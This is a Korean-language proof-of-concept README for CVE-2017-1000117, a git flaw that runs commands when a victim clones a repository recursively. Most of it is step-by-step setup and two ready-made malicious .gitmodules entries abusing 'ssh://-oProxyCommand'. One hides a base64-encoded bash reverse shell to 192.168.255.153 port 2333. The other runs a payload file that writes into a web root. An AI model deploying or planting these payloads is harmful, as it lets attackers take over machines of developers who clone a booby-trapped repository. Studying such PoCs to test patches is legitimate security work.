
CVE-2017-1000117에 대한 PoC 익스플로잇: 악성 git 서브모듈 SSH URL을 통한 원격 코드 실행으로, 재귀적 클론 작업 중 리버스 셸 페이로드 전달을 가능하게 합니다.
악의적인 공격자는 교묘하게 구성된 "ssh://..." 링크를 통해 피해자가 프로그램 실행 등의 상황에서 해당 악성 링크에 접속하도록 하여 명령 실행을 달성할 수 있습니다. 이 링크는 git 프로젝트의 .gitmodules 파일에 배치될 수 있습니다. 이렇게 하면 피해자가 프로젝트에 대해 git clone --recurse-submodules / git clone --recursive 작업을 수행할 때 보안 문제가 발생합니다.
준비 작업:
리눅스 명령줄에 입력
printf 'a' >> /tmp/pwned.txt
tmp 디렉토리에 pwned.txt가 생성되었고 내용은 a입니다.
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"]
path = sub1
url = https://github.com/leezp/CVE-2017-1000117.git
// 두 개의 서브모듈 디렉토리 sub1과 name2가 생성됨)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
두 가지 제작 방식이 있습니다:
첫 번째:
.gitmodules 파일을 열고 내용을 수정합니다(첫 번째만 수정하면 됩니다. 첫 번째 submodule의 exp만 실행되기 때문입니다. 여기서 2개를 만드는 이유는 때로는 하나만 만들면 실행되지 않기 때문이며, 구체적인 원인은 아직 많이 연구하지 않았습니다).
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(구체적으로 .gitmodules.bak1 파일 참조)
첫 번째 방식은 payload 파일이 필요 없습니다.
두 번째 방식:
.gitmodules 파일을 열고 내용을 수정합니다(첫 번째만 수정).
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(구체적으로 .gitmodules 파일 참조)
이 방식은 payload 파일과 결합해야 하며, payload 파일에 다음을 입력합니다:
printf 'sss' > /var/www/html/vul
참고
git clone 방식은 다음 두 가지 중 하나여야 합니다:
git clone --recursive url
git clone --recurse-submodules url
git clone을 사용하면 정상적으로 다운로드만 되고 추가 파일이 생성되지 않으므로, 취약점 트리거 조건이 비교적 까다롭습니다.